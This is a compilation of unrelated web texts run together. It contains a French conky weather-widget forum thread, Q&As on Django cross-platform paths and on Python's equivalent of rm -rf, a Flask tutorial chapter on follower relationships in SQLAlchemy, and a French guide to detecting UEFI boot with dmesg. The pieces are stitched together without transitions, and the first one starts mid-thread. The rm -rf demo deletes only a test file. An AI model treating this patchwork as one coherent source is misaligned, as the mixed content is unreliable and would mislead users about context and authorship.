J'ai réussi à intégrer les données extraites dans mon autre conky qui donne des infos simplifiées pour la météo. (Je lance mes différents conkys par des scripts Nautilus pour afficher ce que je veux quand je le désire, avec un simple clic droit de souris).
Sur ce dernier, j'ai ajouté la couche du script wunderground (merci Didier-T et Levi59 pour leur travail ) pour avoir les pourcentages de probabilité de précipitations.
Maintenant, pour être pleinement satisfait du résultat obtenu, il ne me manque plus qu'à régler le problème du bug graphique que j'ai déjà présenté (le petit carré qui se rajoute après le chiffre).
Ce bug ne touche que les lignes paires du fichier 'precipitation' généré par le script wunderground.
J'ai essayé en changeant la police, en changeant l'ordre d'affichage, rien à faire. Dès que je demande d'afficher un pourcentage pour la nuit, j'ai ce petit carré.
L'un d'entre vous pourrait il trouver la raison de ce bug ?
Si j'arrive à le supprimer, je serais satisfait à 100% du résultat final !
A titre info, si l'un d'entre vous est intéressé, voici ce que cela donne (avec juste l'affichage des pourcentages de probabilités de pluie dans la journée pour la raison évoquée ci dessus). Je pourrais vous poster les différents fichiers nécessaires.
@ Olitask
Essaye en mettant {voffset -X} en début de la ligne qui te fait afficher les icônes du vent.
Par essais multiples en changeant la valeur du X de ton voffset, tu devrais réussir à trouver le bon positionnement
voffset (pixels) Change vertical offset by N pixels. Negative values will cause text to overlap. See also $offset.
Souce : Variables pour conky
The ship is sinking normally...
Hors ligne
Didier-T
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
Bonsoir
Merci de votre réponse. En fait, il a suffit de créer le répertoire conky a coté de /vent et /metéo.
Petit problème , le résultat me donne cela : les icônes sont décalées
image , cliquer
quel est le paramètre qu'il faut modifier ?
Je vais me pencher sur accuweather, mais il faut s'enregistrer sur le forum ubuntu anglais ...
merci encore Olivier
en générale ta ligne d'affichage se présente ainsi
${image "chemin vers l'image/nom de limage" -p -x,y -s 90x90}
donc x représente l'axe gauche droite (le plus à gauche étant 0)
et y représente l'axe haut bas (le plus haut étant 0)
bon courage
Hors ligne
nc2011
Re : [Conky] Alternative à weather.com ( icones conkyforecast )
bonsoir phillinux
je viens d'installer ubuntu et n'e connais donc pas grand chose à linux. je cherchais un moyen d'installer la meteo sur le bureau et suis tombé sur vos recherches. pour ma part, je trouve super ta solution du post #41. ma question est la suivante, quelle est la procédure pour pouvoir l'installer sur le bureau. que dois faire du script? j'ai un petit point particulier, je suis en nouvelle caledonie. alors, nouméa est il pris en compte par le site meteo,? d'autre part désolé pour mes horaires d'envois mais je suis décalé de 10 heures avec vous.
merci
Hors ligne
|
I'm developing Django apps on my local windows machine then deploying to a hosted linux server. The format for paths is different between the two and manually replacing before deployment is consuming more time than it should. I could code based on a variable in my settings file and if statements but I was wondering if anyone had best practices for this scenario.
The Django book suggests using
import os.path
TEMPLATE_DIRS = (
os.path.join(os.path.dirname(__file__), 'templates').replace('\\','/'),
)
I think this is the best solution as you can easily create relative paths like that. If you have multiple relative paths, a helper function will shorten the code:
def fromRelativePath(*relativeComponents):
return os.path.join(os.path.dirname(__file__), *relativeComponents).replace("\\","/")
If you need absolute paths, you should use an environment variable (with
We have a situation very similar to yours, and we've been using different paths in settings, basing on
import os, sys
DEVELOPMENT_MODE = sys.platform == 'win32'
if DEVELOPMENT_MODE:
HOME_DIR = 'c:\\django-root\\'
else:
HOME_DIR = '/home/django-root/'
It works quite OK - assumed all development is being done on Windows.
Add
import os.path
BASE_PATH = os.path.dirname(__file__)
at the top of your settings file, and then use
For example:
MEDIA_ROOT = os.path.join(BASE_PATH, 'media')
(You need to use os.path.join(), instead of simply writing something like
in your
import os.path
SETTINGS_PATH = os.path.abspath(os.path.dirname(__file__))
head, tail = os.path.split(SETTINGS_PATH)
#add some directories to the path
import sys
sys.path.append(os.path.join(head, "apps"))
#do what you want with SETTINGS_PATH
|
What is the easiest way to do the equivalent of rm -rf in python?
import shutil
shutil.rmtree("dir-you-want-to-remove")
shutil.rmtree() is right answer, but just look at another useful function - os.walk()
While useful, rmtree isn't equivalent: it errors out if you try to remove a single file, which
$ mkdir rmtest
$ cd rmtest/
$ echo "stuff" > myfile
$ ls
myfile
$ rm -rf myfile
$ ls
$ echo "stuff" > myfile
$ ls
myfile
$ python
Python 2.7.1+ (r271:86832, Apr 11 2011, 18:13:53)
[GCC 4.5.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import shutil
>>> shutil.rmtree('myfile')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python2.7/shutil.py", line 236, in rmtree
onerror(os.listdir, path, sys.exc_info())
File "/usr/lib/python2.7/shutil.py", line 234, in rmtree
names = os.listdir(path)
OSError: [Errno 20] Not a directory: 'myfile'
To get around this, you'll need to check whether a your path is a file or a directory, and act accordingly. Something like this should do the trick:
import os
import shutil
def rm_r(path):
if os.path.isdir(path):
shutil.rmtree(path)
elif os.path.exists(path):
os.remove(path)
|
The Flask Mega-Tutorial, Part VIII: Followers, Contacts And Friends
The goal of the tutorial series is to develop a decently featured microblogging application that demonstrating total lack of originality I have decided to call microblog.
Here is an index of all the articles in the series that have been published to date:
Part I: Hello, World!
Part II: Templates
Part III: Web Forms
Part IV: Database
Part V: User Logins
Part VI: Profile Page And Avatars
Part VII: Unit Testing
Part VIII: Followers, Contacts And Friends (this article)
Part IX: Pagination
Part X: Full Text Search
Part XI: Email Support
Part XII: Facelift
Part XIII: Dates and Times
Part XIV: I18n and L10n
Part XV: Ajax
Part XVI: Debugging, Testing and Profiling
Part XVII: Deployment on Linux (even on the Raspberry Pi!)
Part XVIII: Deployment on the Heroku Cloud
Recap
Our little microblog application has been growing little by little, and by now we have touched on most of the topics that are required to complete the application.
Today we are going to work on our database some more. Each user of our application needs to be able to select which other users he or she wants to follow, so our database must be able to keep track of who is following who. All social applications have this feature in some form. Some call it Contacts, others Connections, Friends, Buddies or Followers. Other sites use this same idea to implement Allowed and Ignored user lists. We will call them Followers, but the implementation is the same regardless of the name.
Design of the 'Follower' feature
Before we start coding, let's think about the functionality that we want to obtain from this feature.
Let's start with the most obvious one. We want our users to easily maintain a list of followed people.
Looking at it from the other side, for each user we want to know the list of its followers.
We also want to have a way to query if a user is following or is followed by another user.
Users will click a "follow" link in the profile page of any other user to begin following that user. Likewise, they'll click a "unfollow" link to stop following a user.
The final requirement is that given a user we can easily query the database to obtain all the posts that belong to the followed users.
So, if you thought this was going to be a quick and easy article, think again!
Database relationships
We said we wanted to have all users to have "followed" and "followers" lists. Unfortunately, a relational database does not have a list type, all we have are tables with records and relationships between records.
We already have a table in our database to represent users, so what's left is to come up with the proper relationship type that can model the follower/followed link. This is a good time to review the three database relationship types:
One-to-many
We have already seen a one-to-many relationship in the previous database article. Here is the diagram:
The two entities associated with this relationship are users and posts. We say that a user has many posts, and a post has one user. The relationship is represented in the database with the use of a foreign key on the "many" side. In the above example the foreign key is the user_id field added to the posts table. This field links each post to the record of its author in the user table.
It is pretty clear that the user_id field provides direct access to the author of a given post, but what about the reverse? For the relationship to be useful we should be able to get the list of posts written by a given user. Turns out the user_id field in the posts table is enough to answer this question, as databases have indexes that allow for efficient queries such us "retrieve all posts that have a user_id of X".
Many-to-many
A many-to-many relationship is a bit more complex. As an example, consider a database that has students and teachers. We can say that a student has many teachers, and a teacher has many students. It's like two overlapped one-to-many relationships from both ends.
For a relationship of this type we should be able to query the database and obtain the list of teachers that teach a student, and the list of students in a teacher's class. Turns out this is pretty tricky to represent, it cannot be done by adding foreign keys to the existing tables.
The representation of a many-to-many relationship requires the use of an auxiliary table called an association table. Here is how the database would look for the students and teachers example:
While it may not seem straightforward, the association table with its two foreign keys is able to efficiently answer many types of queries, such as:
Who are the teachers of student S?
Who are the students of teacher T?
How many students does teacher T have?
How many teachers does student S have?
Is teacher T teaching student S?
Is student S in teacher T's class?
One-to-one
A one-to-one relationship is a special case of a one-to-many. The representation is similar, but a constrain is added to the database to prevent the "many" side to have more than one link.
While there are cases in which this type of relationship is useful, it isn't as common as the other two types, since any time one record in a table maps to one record in another table it can be argued that it may make sense for these two tables to be merged into one.
Representing followers and followed
From the above relationships we can easily determine that the proper data model is the many-to-many relationship, because a user follows many users, and a user has many followers. But there is a twist. We want to represent users following other users, so we just have users. So what should we use as the second entity of the many-to-many relationship?
Well, the second entity of the relationship is also the users. A relationship in which instances of an entity are linked to other instances of the same entity is called a self-referential relationship, and that is exactly what we need here.
Here is a diagram of our many-to-many relationship:
The followers table is our association table. The foreign keys are both pointing to the user table, since we are linking users to users. Each record in this table represents one link between a follower user and a followed user. Like the students and teachers example, a setup like this one allows our database to answer all the questions about followed and followers that we will need. Pretty neat.
Database model
The changes to our database model aren't that big. We start by adding the followers table (file app/models.py):
followers = db.Table('followers',
db.Column('follower_id', db.Integer, db.ForeignKey('user.id')),
db.Column('followed_id', db.Integer, db.ForeignKey('user.id'))
)
This is a direct translation of the association table from our diagram. Note that we are not declaring this table as a model like we did for users and posts. Since this is an auxiliary table that has no data other than the foreign keys, we use the lower level APIs in flask-sqlalchemy to create the table without an associated model.
Next we define the many-to-many relationship in the users table (file app/models.py):
class User(db.Model):
id = db.Column(db.Integer, primary_key = True)
nickname = db.Column(db.String(64), unique = True)
email = db.Column(db.String(120), index = True, unique = True)
role = db.Column(db.SmallInteger, default = ROLE_USER)
posts = db.relationship('Post', backref = 'author', lazy = 'dynamic')
about_me = db.Column(db.String(140))
last_seen = db.Column(db.DateTime)
followed = db.relationship('User',
secondary = followers,
primaryjoin = (followers.c.follower_id == id),
secondaryjoin = (followers.c.followed_id == id),
backref = db.backref('followers', lazy = 'dynamic'),
lazy = 'dynamic')
The setup of the relationship is non-trivial and requires some explanation. Like we did for the one-to-many relationship in the previous article, we are using the db.relationship function to define the relationship. We will be linking User instances to other User instances, so as a convention let's say that for a pair of linked users in this relationship the left side user is following the right side user. We define the relationship as seen from the left side entity with the name followed, because when we query this relationship from the left side we will get the list of followed users. Let's examine all the arguments to the db.relationship() call one by one:
'User'is the right side entity that is in this relationship (the left side entity is the parent class). Since we are defining a self-referential relationship we use the same class on both sides.
secondaryindicates the association table that is used for this relationship.
primaryjoinindicates the condition that links the left side entity (the follower user) with the association table. Note that because thefollowerstable is not a model there is a slightly odd syntax required to get to the field name.
secondaryjoinindicates the condition that links the right side entity (the followed user) with the association table.
backrefdefines how this relationship will be accessed from the right side entity. We said that for a given user the query namedfollowedreturns all the right side users that have the target user on the left side. The back reference will be calledfollowersand will return all the left side users that are linked to the target user in the right side. The additionallazyargument indicates the execution mode for this query. A mode ofdynamicsets up the query to not run until specifically requested. This is useful for performance reasons, and also because we will be able to take this query and modify it before it executes. More about this later.
lazyis similar to the parameter of the same name in thebackref, but this one applies to the regular query instead of the back reference.
Don't desperate if this is hard to understand. We will see how to use these queries in a moment, and then everything will become clearer.
Since we have made updates to the database, we now have to generate a new migration:
./db_migrate.py
And with this we have completed the database changes. But we have quite a bit of coding left to do.
Adding and removing 'follows'
To promote reusability, we will implement the follow and unfollow functionality in the User model instead of doing it directly in view functions. That way we can use this feature for the actual application (invoking it from the view functions) and also from our unit testing framework. As a matter of principle, it is always best to move the logic of our application away from view functions and into models, because that simplifies the testing. You want to have your view functions be as simple as possible, because those are harder to test in an automated way.
Below is the code to add and remove relationships, defined as methods of the User model (file app/models.py):
class User(db.Model):
#...
def follow(self, user):
if not self.is_following(user):
self.followed.append(user)
return self
def unfollow(self, user):
if self.is_following(user):
self.followed.remove(user)
return self
def is_following(self, user):
return self.followed.filter(followers.c.followed_id == user.id).count() > 0
These methods are amazingly simple, thanks to the power of sqlalchemy who does a lot of work under the covers. We just add or remove items from the followed relationship and sqlalchemy takes care of managing the association table for us.
The follow and unfollow methods are defined so that they return an object when they succeed or None when they fail. When an object is returned, this object has to be added to the database session and committed.
The is_following method does a lot in its single line of code. We are taking the followed relationship query, which returns all the (follower, followed) pairs that have our user as the follower, and we filter it by the followed user. This is possible because the followed relationship has a lazy mode of dynamic, so instead of being the result of the query, this is the actual query object, before execution.
The return from the filter call is the modified query, still without having executed. So we then call count() on this query, and now the query will execute and return the number of records found. If we get one, then we know a link between these two uses is already present. If we get none then we know a link does not exist.
Testing
Let's write a test for our unit testing framework that exercises all that we have built so far (file tests.py):
class TestCase(unittest.TestCase):
#...
def test_follow(self):
u1 = User(nickname = 'john', email = 'john@example.com')
u2 = User(nickname = 'susan', email = 'susan@example.com')
db.session.add(u1)
db.session.add(u2)
db.session.commit()
assert u1.unfollow(u2) == None
u = u1.follow(u2)
db.session.add(u)
db.session.commit()
assert u1.follow(u2) == None
assert u1.is_following(u2)
assert u1.followed.count() == 1
assert u1.followed.first().nickname == 'susan'
assert u2.followers.count() == 1
assert u2.followers.first().nickname == 'john'
u = u1.unfollow(u2)
assert u != None
db.session.add(u)
db.session.commit()
assert u1.is_following(u2) == False
assert u1.followed.count() == 0
assert u2.followers.count() == 0
After adding this test to the testing framework we can run the entire test suite with the following command:
./tests.py
And if everything works it should say that all our tests pass.
Database queries
Our current database model supports most of the requirements we listed at the start. The one we are missing is, in fact, the hardest. Our index page will show the posts written by all the people that are followed by the logged in user, so we need a query that returns all these posts.
The most obvious solution is to run a query that gives us the list of followed users, which we can already do. Then for each of these returned users we run a query to get the posts. Once we have all the posts we merge them into a single list and sort them by date. Sounds good? Well, not really.
This approach has a couple of problems. What happens if a user is following a thousand people? We need to execute a thousand database queries just to collect all the posts. And now we have the thousand lists in memory that we need to merge and sort. As a secondary problem, consider that our index page will (eventually) have pagination implemented, so we will not display all the available posts but just the first, say, fifty, with links to get the next or previous set of fifty. If we are going to display posts sorted by their date, how can we know which posts are the most recent fifty of all followed users combined, unless we get all the posts and sort them first? This is actually an awful solution that does not scale well.
While this collecting and sorting work needs to be done somehow, us doing it results in a very inefficient process. This kind of work is what relational databases excel at. The database has indexes that allow it to perform the queries and the sorting in a much more efficient way that we can possibly do from our side.
So what we really want is to come up with a single database query that expresses what information we want to get, and then we let the database figure out what is the most efficient way to obtain the data for us.
To end the mystery, here is the query that achieves this. Unfortunately it is yet another heavily loaded one liner that we will add to the User model (file app/models.py):
class User(db.Model):
#...
def followed_posts(self):
return Post.query.join(followers, (followers.c.followed_id == Post.user_id)).filter(followers.c.follower_id == self.id).order_by(Post.timestamp.desc())
Let's try to decipher this query one piece at a time. There are three parts: the join, the filter and the order_by.
Joins
To understand what a join operation does, let's look at an example. Let's assume we have a User table with the following contents:
User
id nickname
1 john
2 susan
3 mary
4 david
There are some extra fields in the table that are not shown above just to simplify the example.
Let's say that our followers association table says that user "john" is following users "susan" and "david", user "susan" is following "mary" and user "mary" is following "david". The data that represents the above is this:
followers
follower_id followed_id
1 2
1 4
2 3
3 4
And finally, our Post table contains one post from each user:
Post
id text user_id
1 post from susan 2
2 post from mary 3
3 post from david 4
4 post from john 1
Here again there are some fields that are omitted to keep the example simple.
Below is the join portion of our query, isolated from the rest of the query:
Post.query.join(followers, (followers.c.followed_id == Post.user_id))
The join operation is called on the Post table. There are two arguments, the first is another table, our followers table. The second argument to the join call is the join condition.
What the join operation will do with all this is create a temporary new table with data from the Post and followers table, merged according to the given condition.
In this example we want the field followed_id of the followers table to match the user_id field of the Post table.
To perform this merge, we take each record from the Post table (the left side of the join) and append the fields from the records in the followers table (the right side of the join) that match the condition. If there is no match, then that post record is removed.
The result of the join in our example results in this temporary table:
Post followers
id text user_id follower_id followed_id
1 post from susan 2 1 2
2 post from mary 3 2 3
3 post from david 4 1 4
3 post from david 4 3 4
Note how the post with user_id=1 was removed from the join, because there is no record in the followers table that has a followed_id=1. Also note how the post with user_id=4 appears twice, because the followers table has two entries with a followed_id=4.
Filters
The join operation gave us a list of posts that are followed by someone, without specifying who is the follower. We are only interested in a subset of this list, we need just the posts that are followed by one specific user.
So we will filter this table by the follower user. The filter portion of the query then is:
filter(followers.c.follower_id == self.id)
Remember that the query is executed in the context of our target user, because it is a method in the User class, so self.id in this context is the id of the user we are interested in. With this filter we are telling the database that we want to keep just the records from the joined table that have our user as a follower. So following our example, if the user we are asking about is the one with id=1, then we would end up with yet another temporary table:
Post followers
id text user_id follower_id followed_id
1 post from susan 2 1 2
3 post from david 4 1 4
And these are exactly the posts that we want!
Remember that the query was issued on the Post class, so even though we ended up with a temporary table that does not match any of our models, the result will be the posts that are included in this temporary table, without the extra columns added by the join operation.
Sorting
The final step of the process is to sort the results according to our criteria. The portion of the query that does that says:
order_by(Post.timestamp.desc())
Here we are saying that the results should be sorted by the timestamp field in descending order, so that the first result will be the most recent post.
There is only one more minor detail that we can add to improve our query. When users read their followed posts they will probably want to see their own posts inserted in the stream as well, so it would be nice to have those included in the query results.
And turns out there is a very simple way to achieve this that doesn't require any changes! We will just make sure that each user is added as a follower of him/herself in the database, and that will take care of this little problem for us.
To conclude our long discussion on queries, let's write a unit test for our query (file tests.py):
#...
from datetime import datetime, timedelta
from app.models import User, Post
#...
class TestCase(unittest.TestCase):
#...
def test_follow_posts(self):
# make four users
u1 = User(nickname = 'john', email = 'john@example.com')
u2 = User(nickname = 'susan', email = 'susan@example.com')
u3 = User(nickname = 'mary', email = 'mary@example.com')
u4 = User(nickname = 'david', email = 'david@example.com')
db.session.add(u1)
db.session.add(u2)
db.session.add(u3)
db.session.add(u4)
# make four posts
utcnow = datetime.utcnow()
p1 = Post(body = "post from john", author = u1, timestamp = utcnow + timedelta(seconds = 1))
p2 = Post(body = "post from susan", author = u2, timestamp = utcnow + timedelta(seconds = 2))
p3 = Post(body = "post from mary", author = u3, timestamp = utcnow + timedelta(seconds = 3))
p4 = Post(body = "post from david", author = u4, timestamp = utcnow + timedelta(seconds = 4))
db.session.add(p1)
db.session.add(p2)
db.session.add(p3)
db.session.add(p4)
db.session.commit()
# setup the followers
u1.follow(u1) # john follows himself
u1.follow(u2) # john follows susan
u1.follow(u4) # john follows david
u2.follow(u2) # susan follows herself
u2.follow(u3) # susan follows mary
u3.follow(u3) # mary follows herself
u3.follow(u4) # mary follows david
u4.follow(u4) # david follows himself
db.session.add(u1)
db.session.add(u2)
db.session.add(u3)
db.session.add(u4)
db.session.commit()
# check the followed posts of each user
f1 = u1.followed_posts().all()
f2 = u2.followed_posts().all()
f3 = u3.followed_posts().all()
f4 = u4.followed_posts().all()
assert len(f1) == 3
assert len(f2) == 2
assert len(f3) == 2
assert len(f4) == 1
assert f1 == [p4, p2, p1]
assert f2 == [p3, p2]
assert f3 == [p4, p3]
assert f4 == [p4]
This test has a lot of setup code but the actual test is pretty short. We first check that the number of followed posts returned for each user is the expected one. Then for each user we check that the correct posts were returned and that they came in the correct order (note that we inserted the posts with timestamps that are guaranteed to always order in the same way).
Note the usage of the followed_posts() method. This method returns a query object, not the results. This is similar to how relationships with lazy = 'dynamic' work. It is always a good idea to return query objects instead of results, because that gives the caller the choice of adding more clauses to the query before it is executed.
There are several methods in the query object that trigger the query execution. We've seen that count() runs the query and returns the number of results (throwing the actual results away). We have also used first() to return the first result and throw away the rest, if any. In this test we are using the all() method to get an array with all the results.
Possible improvements
We now have implemented all the required features of our 'follower' feature, but there are ways to improve our design and make it more flexible.
All the social networks that we love to hate support similar ways to connect users, but they have more options to control the sharing of information.
For example, we have not elected to support the ability to block users. This would add one more layer of complexity to our queries, since now we not only need to grab the posts of the users we follow, but we need to filter out those from users that decided to block us. How would you implement this? Simple, one more many-to-many self-referential relationship to record who's blocking who, and one more join+filter in the query that returns the followed posts.
Another popular feature in social networks is the ability to group followers into custom lists, and then sharing content only with specific groups. This is also implemented with additional relationships and added complexity to the queries.
We will not have these features in microblog, but if there is enough interest I would be happy to write an article on the topic. Let me know in the comments!
Tying up loose ends
We have made an impressive amount of progress today. But while we have solved all the problems related to database setup and querying, we have not enabled the new functionality through our application.
Luckily for us, there aren't any challenges in doing this. We just need to fix view functions and templates to call the new methods in the User model when appropriate. So let's do that before we close this session.
Being your own follower
We decided that we were going to mark all users as followers of themselves, so that they can see their own posts in their post stream.
We are going to do that at the point where users are getting their accounts setup, in the after_login handler for OpenID (file 'app/views.py'):
@oid.after_login
def after_login(resp):
if resp.email is None or resp.email == "":
flash('Invalid login. Please try again.')
redirect(url_for('login'))
user = User.query.filter_by(email = resp.email).first()
if user is None:
nickname = resp.nickname
if nickname is None or nickname == "":
nickname = resp.email.split('@')[0]
nickname = User.make_unique_nickname(nickname)
user = User(nickname = nickname, email = resp.email, role = ROLE_USER)
db.session.add(user)
db.session.commit()
# make the user follow him/herself
db.session.add(user.follow(user))
db.session.commit()
remember_me = False
if 'remember_me' in session:
remember_me = session['remember_me']
session.pop('remember_me', None)
login_user(user, remember = remember_me)
return redirect(request.args.get('next') or url_for('index'))
Follow and Unfollow links
Next, we will define view functions that follow and unfollow a user (file app/views.py):
@app.route('/follow/<nickname>')
@login_required
def follow(nickname):
user = User.query.filter_by(nickname = nickname).first()
if user == None:
flash('User ' + nickname + ' not found.')
return redirect(url_for('index'))
if user == g.user:
flash('You can\'t follow yourself!')
return redirect(url_for('user', nickname = nickname))
u = g.user.follow(user)
if u is None:
flash('Cannot follow ' + nickname + '.')
return redirect(url_for('user', nickname = nickname))
db.session.add(u)
db.session.commit()
flash('You are now following ' + nickname + '!')
return redirect(url_for('user', nickname = nickname))
@app.route('/unfollow/<nickname>')
@login_required
def unfollow(nickname):
user = User.query.filter_by(nickname = nickname).first()
if user == None:
flash('User ' + nickname + ' not found.')
return redirect(url_for('index'))
if user == g.user:
flash('You can\'t unfollow yourself!')
return redirect(url_for('user', nickname = nickname))
u = g.user.unfollow(user)
if u is None:
flash('Cannot unfollow ' + nickname + '.')
return redirect(url_for('user', nickname = nickname))
db.session.add(u)
db.session.commit()
flash('You have stopped following ' + nickname + '.')
return redirect(url_for('user', nickname = nickname))
These should be self-explanatory, but note how there is error checking all around, to prevent unexpected problems and try to provide a message to the user and a redirection when a problem has occurred.
Now we have the view functions, so we can hook them up. The links to follow and unfollow a user will appear in the profile page of each user (file app/templates/user.html):
<!-- extend base layout -->
{% extends "base.html" %}
{% block content %}
<table>
<tr valign="top">
<td><img src="{{user.avatar(128)}}"></td>
<td>
<h1>User: {{user.nickname}}</h1>
{% if user.about_me %}<p>{{user.about_me}}</p>{% endif %}
{% if user.last_seen %}<p><i>Last seen on: {{user.last_seen}}</i></p>{% endif %}
<p>{{user.followers.count()}} followers |
{% if user.id == g.user.id %}
<a href="{{url_for('edit')}}">Edit your profile</a>
{% elif not g.user.is_following(user) %}
<a href="{{url_for('follow', nickname = user.nickname)}}">Follow</a>
{% else %}
<a href="{{url_for('unfollow', nickname = user.nickname)}}">Unfollow</a>
{% endif %}
</p>
</td>
</tr>
</table>
<hr>
{% for post in posts %}
{% include 'post.html' %}
{% endfor %}
{% endblock %}
In the line we had the "Edit" link we now show the number of followers the user has, followed by one of three possible links:
if the user profile belongs to the logged in user, then the "Edit" link shows.
else, if the user is not currently followed a "Follow" link shows.
else, a "Unfollow" link shows.
At this point you can run the application, create a few users by logging in with different OpenID accounts and play with following and unfollowing users.
All that is left is to show posts of the followed users in the index page, but we are still missing an important piece of the puzzle before we can do that, so this will have to wait until the next chapter.
Final words
We have implemented a core piece of our application today. The topic of database relationships and queries is a pretty complex one, so if there are any questions about the material presented above you are welcome to send your questions in the comments below.
In the next installment we will be looking at the fascinating world of pagination, and we will be finally hooking up posts from the database to our application.
For those of you that are lazy typists (or lazy copy-pasters), below is the updated microblog application:
Download microblog-0.8.zip.
As always, the above zip file does not include a database or the flask virtual environment. Previous articles explain how to regenerate these.
Thanks again for following my tutorial. See you next time!
Miguel
|
malbo
[Tuto] identifier si on est dans un système UEFI ou Bios
ATTENTION : CETTE MÉTHODE D’IDENTIFICATION EST OBSOLÈTE : IL FAUT UTILISER LA PROCÉDURE DE LA DOC : http://doc.ubuntu-fr.org/efi#identifier … n_mode_efi
Le problème se pose pour des PC achetés en 2011 (et +) pour ceux qui souhaitent faire cohabiter Windows préinstallé et Ubuntu dans leur PC.
Il y a plusieurs façon d'installer Ubuntu et, suivant le support d'installation (live-CD, une clé USB, autre...), il est possible qu'on ne sache pas si on s'apprête à installer dans un système Bios (classique) ou dans un système UEFI (successeur du Bios). Pour compliquer la chose, certaines carte-mères disposent d'un machin qui est compatible des deux modes et qui propose au choix à l'utilisateur de voir un live-CD en environnement Bios (souvent nommé "Legacy Bios") ou bien en environnement UEFI. Oui, ça sent bien le pâté.
J'indique ci-dessous le moyen de vérifier ce qu'il en est avant de se lancer dans l'installation proprement dite. A signaler : j'ai pompé la méthode de l'expert srs5694 du forum anglais : http://ubuntuforums.org/showpost.php?p= … ostcount=4
Depuis la session live de Ubuntu 11.10 (essai sans installer), passer cette commande dans un terminal (il y a une commande alternative proposée dans le post #26 par YannUbuntu) :Attention : cette commande pour déterminer si on est en session EFI (ou pas) est obsolète pour Ubuntu 12.10. Il faut utiliser la procédure de la doc : http://doc.ubuntu-fr.org/efi#identifier … n_mode_efi
dmesg | grep EFI
Cette commande ne présente aucun danger : elle demande d'afficher dans le terminal toutes les lignes qui mentionnent "EFI" dans le fichier log du démarrage de Ubuntu.
------------------------------------------------------------------------------------------------------------------------------------------------------CAS 1 : SI UBUNTU EST ACTUELLEMENT DÉMARRÉ EN SESSION LIVE DANS UN SYSTÈME BIOS CLASSIQUE
voici le résultat que vous obtenez :
dmesg | grep EFI
[ 1.241248] EFI Variables Facility v0.08 2004-May-17
Ou encore ce genre de lignes (s'il s'agit d'un PC récent équipé d'un système UEFI) :
dmesg | grep EFI
[ 0.000000] ACPI: UEFI 00000000bafe7000 0003E (v01 DELL QA09 00000002 PTL 00000002)
[ 0.000000] ACPI: UEFI 00000000bafe6000 00042 (v01 PTL COMBUF 00000001 PTL 00000001)
[ 0.000000] ACPI: UEFI 00000000bafe5000 00256 (v01 DELL QA09 00000002 PTL 00000002)
Bien que le terme "UEFI" soit mentionné, le PC est démarré en mode "Bios" classique (et pas en mode EFI) à condition qu'il n'y ait pas plusieurs lignes comportant "EFI: mem" qui précèdent les lignes "ACPI: UEFI" (si on a la présence de lignes "EFI: mem", on est dans le CAS 2 ci-après)
------------------------------------------------------------------------------------------------------------------------------------------------------
CAS 2 : SI UBUNTU EST ACTUELLEMENT DÉMARRÉ EN SESSION LIVE DANS UN SYSTÈME UEFI :
Voici le genre de résultat, avec plusieurs lignes comportant "EFI: mem" (c'est le mapping de la mémoire) :Attention : cette commande pour déterminer si on est en session EFI (ou pas) est obsolète pour Ubuntu 12.10. Il faut utiliser la procédure de la doc : http://doc.ubuntu-fr.org/efi#identifier … n_mode_efi
dmesg | grep EFI
[ 0.000000] EFI v2.10 by VBOX 64
[ 0.000000] Kernel-defined memdesc doesn't match the one from EFI!
[ 0.000000] EFI: mem00: type=7, attr=0xf, range=[0x0000000000000000-0x00000000000a0000) (0MB)
[ 0.000000] EFI: mem01: type=2, attr=0xf, range=[0x0000000000100000-0x000000000056e000) (4MB)
[ 0.000000] EFI: mem02: type=7, attr=0xf, range=[0x000000000056e000-0x000000000f9d9000) (244MB)
[ 0.000000] EFI: mem03: type=2, attr=0xf, range=[0x000000000f9d9000-0x000000001f000000) (246MB)
[ 0.000000] EFI: mem04: type=3, attr=0xf, range=[0x000000001f000000-0x000000001f00e000) (0MB)
[ 0.000000] EFI: mem05: type=7, attr=0xf, range=[0x000000001f00e000-0x00000000365ae000) (373MB)
[ 0.000000] EFI: mem06: type=2, attr=0xf, range=[0x00000000365ae000-0x00000000372cf000) (13MB)
[ 0.000000] EFI: mem07: type=7, attr=0xf, range=[0x00000000372cf000-0x000000003d8bc000) (101MB)
[ 0.000000] EFI: mem08: type=4, attr=0xf, range=[0x000000003d8bc000-0x000000003dc9f000) (3MB)
[ 0.000000] EFI: mem09: type=7, attr=0xf, range=[0x000000003dc9f000-0x000000003dcb0000) (0MB)
[ 0.000000] EFI: mem10: type=4, attr=0xf, range=[0x000000003dcb0000-0x000000003dcca000) (0MB)
[ 0.000000] EFI: mem11: type=7, attr=0xf, range=[0x000000003dcca000-0x000000003dcda000) (0MB)
[ 0.000000] EFI: mem12: type=4, attr=0xf, range=[0x000000003dcda000-0x000000003dcf6000) (0MB)
[ 0.000000] EFI: mem13: type=7, attr=0xf, range=[0x000000003dcf6000-0x000000003dd4d000) (0MB)
[ 0.000000] EFI: mem14: type=4, attr=0xf, range=[0x000000003dd4d000-0x000000003de05000) (0MB)
[ 0.000000] EFI: mem15: type=7, attr=0xf, range=[0x000000003de05000-0x000000003de50000) (0MB)
[ 0.000000] EFI: mem16: type=1, attr=0xf, range=[0x000000003de50000-0x000000003de70000) (0MB)
[ 0.000000] EFI: mem17: type=4, attr=0xf, range=[0x000000003de70000-0x000000003de71000) (0MB)
[ 0.000000] EFI: mem18: type=7, attr=0xf, range=[0x000000003de71000-0x000000003de95000) (0MB)
[ 0.000000] EFI: mem19: type=2, attr=0xf, range=[0x000000003de95000-0x000000003de9b000) (0MB)
[ 0.000000] EFI: mem20: type=4, attr=0xf, range=[0x000000003de9b000-0x000000003dea1000) (0MB)
[ 0.000000] EFI: mem21: type=7, attr=0xf, range=[0x000000003dea1000-0x000000003dea4000) (0MB)
[ 0.000000] EFI: mem22: type=2, attr=0xf, range=[0x000000003dea4000-0x000000003dea7000) (0MB)
[ 0.000000] EFI: mem23: type=4, attr=0xf, range=[0x000000003dea7000-0x000000003deb1000) (0MB)
[ 0.000000] EFI: mem24: type=2, attr=0xf, range=[0x000000003deb1000-0x000000003deba000) (0MB)
[ 0.000000] EFI: mem25: type=7, attr=0xf, range=[0x000000003deba000-0x000000003debb000) (0MB)
[ 0.000000] EFI: mem26: type=4, attr=0xf, range=[0x000000003debb000-0x000000003e7e7000) (9MB)
[ 0.000000] EFI: mem27: type=3, attr=0xf, range=[0x000000003e7e7000-0x000000003e951000) (1MB)
[ 0.000000] EFI: mem28: type=4, attr=0xf, range=[0x000000003e951000-0x000000003e952000) (0MB)
